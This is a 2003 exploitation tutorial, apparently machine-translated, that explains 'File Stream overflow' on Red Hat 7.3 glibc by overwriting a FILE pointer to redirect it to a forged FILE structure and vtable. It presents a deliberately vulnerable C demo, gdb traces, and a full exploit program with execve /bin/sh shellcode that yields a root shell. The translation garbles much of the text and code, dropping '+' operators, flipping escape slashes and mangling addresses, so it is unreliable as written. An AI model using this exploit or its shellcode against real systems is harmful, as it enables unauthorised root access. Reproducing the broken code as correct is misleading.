A new File Stream overflows (FSO)
Creation time: 2003-04-10
Article attribute: finishing
Article Source:
http://www.xfous.org/
Article submission:
Alert7 (sztcww_at_sina.com)
A new File Stream overflows (FSO)
By Alert7
Home:
http://www.xfocus.org/ http://www.whitecell.org/
Time: April 9, 2003
★★ 1: Foreword
It is necessary to discuss it if it is a new overflow method with the previous EXPLOIT method.
If you don't say nonsense, go directly into the topic.
★★ 2: What is File Stream
People who write C and C know that there is a data type called File, which is a structure of the management file stream.
★★ 3: What is File Stream overflows (FSO)
Here FSO means that when the pointer to the file is illegally covered, when is the pointer to the File will be illegally covered?
In fact, too much, just like the programs in the following example, the pointer FP will be illegally overwritten when Bof occurs. But due to
Strncpy's particularity, the FP in our constructed program will always be overwritten.
★★ 4: How do we write Exploit when fso occurs?
★ 4.1 a small example
/ *
* Vul.c demo
* Write by alert7@xfocus.org
* /
#include
Int main (int Argc, char * argv [])
{
File * fp;
Char BUF [1024];
INT I;
FP = stdout;
I = (int) & fp- (int) & buf;
Printf ("fp addr% p / n len% d / n", & fp, fp, buf, i);
STRNCPY (BUF, Argv [1], I 4);
FPRINTF (FP, "% S / N", BUF);
exit (0);
}
[alert7 @ redhat73 fso] # gcc -o vul vul.c -ggdb -g
[alert7 @ redhat73 fso] # gcc -v
Reading Specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
GCC Version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)
★ 4.2 rough analysis
[Alert7 @ redhat73 fso] # GDB VUL -Q
(GDB) B main
Breakpoint 1 at 0x8048499: file Vul.c, line 12.
(GDB) R fff
Starting Program: / root / fso / vul fff
Breakpoint 1, Main (argc = 2, argv = 0xbfffba4) at Vul.c: 12
12 fp = stdout;
(GDB) B FPRINTF
Breakpoint 2 at 0x4205a178
(GDB) C
Continuing.
FP Addr 0xBffffB2c Point 0x4212DB00
BUF Addr 0xBfffff720
Len 1036
Breakpoint 2, 0x4205a178 in fprintf () from /Lib/i686/libc.so.6 (GDB) x / 20x 0xBfffff720
0xBfffff720: 0x0066666 0x00000000 0x00000000 0x00000000
0xBfffff730: 0x00000000 0x00000000 0x00000000 0x00000000
0xBfffff740: 0x00000000 0x00000000 0x00000000 0x00000000
0xBffff750: 0x00000000 0x00000000 0x00000000 0x00000000
0xBfffff760: 0x00000000 0x00000000 0x00000000 0x00000000
Char * STRNCPY (Char * DEST, Const Char * src, size_t n);
Note If the SRC length is only m (n> M), the space behind the DEST will be 0
If m> = n, the square of the SRC is copied to the DEST and does not / 0 end in DEST.
Therefore, the FP will be overwritten in this example.
Strncpy is also a function that the programmer is easy to use, the correct usage is:
Char buf [sizelen]
STRNCPY (BUF, SRC, SIZELEN);
BUF [SIZELEN-1] = 0; // This sentence must be added, otherwise it will pull it with Strlen (buf).
Let's take a look
[Alert7 @ redhat73 fso] # GDB VUL -Q
(GDB) R `Perl -e 'Print" a "x2000'`
Starting Program: / root / fso / vul `perl -e 'print" a "x2000'`
FP Addr 0xBffFFF35C Point 0x4212DB00
BUF Addr 0xBffef50
Len 1036
Program received Signal SigSegv, Segmentation Fault.
0x420502ea in vfprintf () from /Lib/i686/libc.so.6
(GDB) X / I $ EIP
0x420502ea
(GDB) I REG EAX
EAX 0x41414141 1094795585
(GDB) X / X 0xBffFFFFFF35C
0xBfffff35c: 0x41414141
Now our FP has been covered into 0x41414141, which is not mapped, so CMPB $ 0x0,0x46 (% EAX)
The instruction operation failed.
I want to make this instruction success. We use 0xBFFF404 to override FP
(GDB) R `Perl -e 'Print" a "x1036; Print" / x04 / xf4 / xff / xbf "`
The Program Being Debugged Has Been Started ALREADY.
START IT from the beginning? (Y or n) y
Starting program: / root / fso / vul `perl -e 'print" a "x1036; Print" / x04 / xf4 / xff / xbf "`' `fp addr 0xBfffff71c point 0x4212db00
BUF Addr 0xBfffff310
Len 1036
Program received Signal SigSegv, Segmentation Fault.
0x4205046d in vfprintf () from /Lib/i686/libc.so.6
(GDB) X / I $ EIP
0x4205046D
(GDB) I REG EAX
EAX 0x41414141 1094795585
0x42050451
0x42050454
0x42050457
0x4205045D
0x42050461
0x42050463
0x4205046A
0x4205046B
0x4205046C
0x4205046D
0x42050470
0x42050473
0x42050475
0x42050477
0x42050479
0x42050480
(GDB) I REG EAX EDX
EAX 0x0 0
EDX 0x4212DB00 1108531968
(GDB) X / 40A STDOUT
0x4212DB00 <_IO_2_1_STDOUT_>: 0xfbad2084 0x0 0x0 0x0
0x4212DB10 <_IO_2_1_STDOUT_ 16>: 0x0 0x0 0x0 0x00x4212db20 <_io_2_1_stdout_ 32>: 0x0 0x0 0x0 0x0
0x4212DB30 <_IO_2_1_STDOUT_ 48>: 0x0 0x4212D980 <_IO_2_1_STDIN_> 0x1 0x0
0x4212DB40 <_IO_2_1_STDOUT_ 64>: 0xfffffffff 0x0 0x4212DA18 <_io_stdfile_1_lock> 0xffffffFFF
0x4212DB50 <_IO_2_1_STDOUT_ 80>: 0xfffffffff 0x0 0x4212DA40 <_IO_WIDE_DATA_1> 0xfffffffff
0x4212DB60 <_IO_2_1_STDOUT_ 96>: 0x0 0x0 0x0 0x0
0x4212DB70 <_IO_2_1_STDOUT_ 112>: 0x0 0x0 0x0 0x0
0x4212DB80 <_IO_2_1_stdout_ 128>: 0x0 0x0 0x0 0x0
0x4212DB90 <_IO_2_1_STDOUT_ 144>: 0x0 0x4212d820 <_io_file_jumps_internal> 0x0 0x0
(GDB) X / 40A 0x4212D820
0x4212d820 <_io_file_jumps_internal>: 0x0 0x0 0x420766b0 <_io_new_file_finish> 0x420758E0 <_io_new_file_overflow>
0x4212d830 <_IO_file_jumps_internal 16>: 0x420756a0 <_IO_new_file_underflow> 0x42077cf0 <_IO_default_uflow_internal> 0x420774c0 <_IO_default_pbackfail_internal> 0x42076050 <_IO_new_file_xsputn>
0x4212d840 <_IO_file_jumps_internal 32>: 0x420762a0 <_IO_file_xsgetn_internal> 0x42075b90 <_IO_new_file_seekoff> 0x42077f00 <_IO_default_seekpos> 0x42076790 <_IO_new_file_setbuf>
0x4212d850 <_IO_file_jumps_internal 48>: 0x42075ab0 <_IO_new_file_sync> 0x4206b354 <_IO_file_doallocate_internal> 0x420765c0 <_IO_file_read_internal> 0x420767f0 <_IO_new_file_write>
0x4212d860 <_IO_file_jumps_internal 64>: 0x420765f0 <_IO_file_seek_internal> 0x420764d0 <_IO_file_close_internal> 0x420764a0 <_IO_file_stat_internal> 0x42077f80 <_IO_default_showmanyc> 0x4212d870 <_IO_file_jumps_internal 80>: 0x42077f90 <_IO_default_imbue> 0x0 0x0 0x0
0x4212D880
0x4212D890
0x4212D8A0 <_io_stdfile_0_lock>: 0x0 0x0 0x0 0x1
0x4212D8B0 <_IO_STDFILE_0_LOCK 16>: 0x0 0x0 0x0 0x0
It seems hope.
Let's take a look at the File Stream structure file.
Since the GLIBC code is more complicated, the structure of the File may be structures
Struct _io_file_plus
{
_Io_file file;
Const struct _io_jump_t * vTable;
}
_Io_file file is the data of this structure.
Const struct _io_jump_t * vTable Jump Table is a function pointer table for operating the structure data
Write something like C in a non-object-oriented C, which has this VTABLE to achieve polymorphism.
VTable is initialized to the structure below the class test
Struct _io_jump_t _io_file_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT (Finish, _io_new_file_finish),
JUMP_INIT (Overflow, _io_new_file_overflow),
JUMP_INIT (Underflow, _io_new_file_underflow),
Jump_init (uflow, _io_default_uflow),
JUMP_INIT (PBackfail, _IO_DEFAULT_PBACKFAIL),
Jump_init (xsputn, _io_new_file_xsputn),
JUMP_INIT (xsgetn, _io_file_xsgetn),
JUMP_INIT (Seekoff, _io_new_file_seekoff),
Jump_init (seekpos, _io_default_seekpos),
JUMP_INIT (setbuf, _io_new_file_setbuf),
JUMP_INIT (SYNC, _IO_NEW_FILE_SYNC),
Jump_init (doallocate, _io_file_doallocate),
JUMP_INIT (Read, _io_file_read),
JUMP_INIT (Write, _io_new_file_write),
JUMP_INIT (seek, _io_file_seek),
JUMP_INIT (Close, _io_file_close),
JUMP_INIT (STAT, _IO_FILE_STAT),
Jump_init (showmanc, _io_default_showmanyc),
JUMP_INIT (IMBUE, _IO_DEFAULT_IMBUE)}
★ 4.3 How to write Exploit
According to the above analysis, it is not difficult to see that we only need to fake a File Stream structure.
Struct fake_file_stream {
Char Date [SIZEOF (File) -4];
Char * file_jmps;
}
As for the File Stream forged structure and jump form, how to distribute the following charts between the shellcode is constructed.
We construct the following buffer
Buffer
-------------------- - - - ------ --------- - - --- -
(Memory low) | DATA [] | file_jmps (a) | a | a | shellcode ... | a | a | a | .. (memory Ga)
-------------------- - - - ------ --------- - - --- -
| -> FAKE_FILE_STREAM <- |
A is the address of buffer
FILE_JMPS is set to A
At Buffer, we construct a fake_file_stream, then empty 8 bytes, behind the shellcode
As for why these 8 bytes are constructed because the program structure is constructed, maybe you have different ways of constructing.
★★ 5: EXPLOIT
/ ************************************************** /
/ *
* fso_exploit.c cost for fso vul demo
* White by alert7@xfocus.org
* /
#include
#include
#include
#define functionoffset 0x1c // Get from call * 0x1c (% EAX)
#define offset1 0x46 // Get from Movsbl 0x46 (% EDX),% EAX // this import
#define offset2 8 // Reason for program construction, fixed to 8
Char shellcode [] = / * Linux x86 execve of "/ bin // sh" * /
"/ x31 / xd2 / x52 / x68 / x6e / x2f / x73 / x68"
"/ x68 / x2f / x2f / x62 / x69 / x89 / xe3 / x52"
"/ x53 / x89 / xe1 / x8d / x42 / x0b / xcd / x80";
Struct fake_file_stream {
Char Data [SizeOf (file) -4];
Char * file_jmps;
}
Int main (int Argc, char * argv [])
{
Char buffer [4000];
Struct fake_file_stream * fakep;
INT I;
Long fakefs_addr;
FAKEFS_ADDR = 0xBFFFEB60; // atoll (argv [1]);
// Printf ("fakefs_addr% u / n", fakefs_addr);
For (i = 0; i <3000; i = 4)
* (long *) & buffer [i] = fakefs_addr; fakep = (struct fake_file_stream *) BUFFER;
FAKEP-> File_JMPS = fakefs_addr;
* (long *) & fakep-> data [functionoffset] = fakefs_addr sizeof (struct fake_file_stream) offset2;
Memcpy (buffer sizeof (struct fake_file_stream) offset2, shellcode, strlen (shellcode));
* (long *) & buffer [offset1] = 0x04040404; // make EAX = 4;
Execl ("./ Vul", "VUL", Buffer, NULL;
exit (0);
}
[root @ redhat73 fso] # ./fso_exploit
FP Addr 0xBFFFEF6C POINT 0X4212DB00
BUF Addr 0xBFFEB60
Len 1036
SH-2.05A # ID
UID = 0 (root) GID = 0 (root) groups = 0 (root), 1 (bin), 2 (Daemon), 3 (Sys), 4 (ADM), 6 (Disk), 10 (WHEL)
SH-2.05A # cat d
Pain and happiness
★★ 6: Does other systems have this vulnerability?
Based on the implementation principle of File Stream, FSO should also exist in other systems, such as Windows.
Interested people can also try it. This article throws the jade, let's here.
Reference:
"File Stream Overflows Paper" Write by
"GLIBC 2.2.2 SRC"
------- The end --------